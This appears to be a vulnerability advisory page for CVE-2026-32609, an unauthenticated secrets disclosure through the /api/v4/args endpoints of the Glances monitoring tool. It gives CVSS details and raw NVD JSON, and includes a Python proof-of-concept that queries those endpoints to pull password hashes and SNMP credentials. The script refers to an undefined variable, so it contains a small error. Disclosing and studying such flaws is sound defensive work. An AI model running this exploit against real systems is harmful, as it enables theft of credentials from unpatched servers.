Security Vulnerability Report
中文
CVE-2026-32609 CVSS 7.5 HIGH

CVE-2026-32609

Published: 2026-03-18 15:16:31
Last Modified: 2026-03-19 14:55:32

Description

Glances is an open-source system cross-platform monitoring tool. The GHSA-gh4x fix (commit 5d3de60) addressed unauthenticated configuration secrets exposure on the `/api/v4/config` endpoints by introducing `as_dict_secure()` redaction. However, the `/api/v4/args` and `/api/v4/args/{item}` endpoints were not addressed by this fix. These endpoints return the complete command-line arguments namespace via `vars(self.args)`, which includes the password hash (salt + pbkdf2_hmac), SNMP community strings, SNMP authentication keys, and the configuration file path. When Glances runs without `--password` (the default), these endpoints are accessible without any authentication. Version 4.5.2 provides a more complete fix.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:nicolargo:glances:*:*:*:*:*:*:*:* - VULNERABLE
Glances < 4.5.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2026-32609 PoC - Unauthenticated Sensitive Information Disclosure # Target: Glances monitoring tool API endpoints TARGET = "http://target:61208" # Default Glances port CVE_ID = "CVE-2026-32609" def check_vulnerability(): """Check if target is vulnerable to CVE-2026-32609""" # Check /api/v4/args endpoint args_url = f"{TARGET}/api/v4/args" try: print(f"[*] Testing {args_url}...") response = requests.get(args_url, timeout=10) if response.status_code == 200: data = response.json() print(f"[+] Endpoint accessible without authentication") print(f"[+] Response: {json.dumps(data, indent=2)}") # Check for sensitive data sensitive_keys = ['password', 'snmp_community', 'snmp_password', 'snmp_user', 'pwd', 'passwd', 'config'] found_sensitive = [] for key in sensitive_keys: if key in str(data).lower(): found_sensitive.append(key) if found_sensitive: print(f"[!] Sensitive data found: {found_sensitive}") print(f"[!] Target is VULNERABLE to {CVE_ID}") return True else: print(f"[-] Endpoint returned status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def exploit(): """Exploit to extract sensitive configuration""" print(f"\n[*] Extracting sensitive data via /api/v4/args/{item}...") items = ['password', 'pwd', 'snmp_community', 'config', 'arglist'] for item in items: url = f"{TARGET}/api/v4/args/{item}" try: response = requests.get(url, timeout=10) if response.status_code == 200: print(f"\n[+] /api/v4/args/{item}:") print(f" {response.text}") except: pass if __name__ == "__main__": print(f"[*] CVE-2026-32609 PoC - Glances Information Disclosure\n") if check_vulnerability(): print("\n[*] Attempting exploitation...") exploit() else: print(f"[-] Target may not be vulnerable or is not running Glances")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32609", "sourceIdentifier": "[email protected]", "published": "2026-03-18T15:16:30.780", "lastModified": "2026-03-19T14:55:31.660", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Glances is an open-source system cross-platform monitoring tool. The GHSA-gh4x fix (commit 5d3de60) addressed unauthenticated configuration secrets exposure on the `/api/v4/config` endpoints by introducing `as_dict_secure()` redaction. However, the `/api/v4/args` and `/api/v4/args/{item}` endpoints were not addressed by this fix. These endpoints return the complete command-line arguments namespace via `vars(self.args)`, which includes the password hash (salt + pbkdf2_hmac), SNMP community strings, SNMP authentication keys, and the configuration file path. When Glances runs without `--password` (the default), these endpoints are accessible without any authentication. Version 4.5.2 provides a more complete fix."}, {"lang": "es", "value": "Glances es una herramienta de monitoreo de sistemas multiplataforma de código abierto. La corrección GHSA-gh4x (commit 5d3de60) abordó la exposición de secretos de configuración no autenticada en los endpoints `/api/v4/config` al introducir la redacción `as_dict_secure()`. Sin embargo, los endpoints `/api/v4/args` y `/api/v4/args/{item}` no fueron abordados por esta corrección. Estos endpoints devuelven el espacio de nombres completo de los argumentos de línea de comandos a través de `vars(self.args)`, lo que incluye el hash de la contraseña (salt + pbkdf2_hmac), las cadenas de comunidad SNMP, las claves de autenticación SNMP y la ruta del archivo de configuración. Cuando Glances se ejecuta sin `--password` (el valor predeterminado), estos endpoints son accesibles sin ninguna autenticación. La versión 4.5.2 proporciona una corrección más completa."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-200"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nicolargo:glances:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.5.2", "matchCriteriaId": "3FC19E01-80F1-43BB-912C-39FE99143A59"}]}]}], "references": [{"url": "https://github.com/nicolargo/glances/commit/ff14eb9780ee10ec018c754754b1c8c7bfb6c44f", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/nicolargo/glances/releases/tag/v4.5.2", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/nicolargo/glances/security/advisories/GHSA-cvwp-r2g2-j824", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Patch", "Vendor Advisory"]}]}}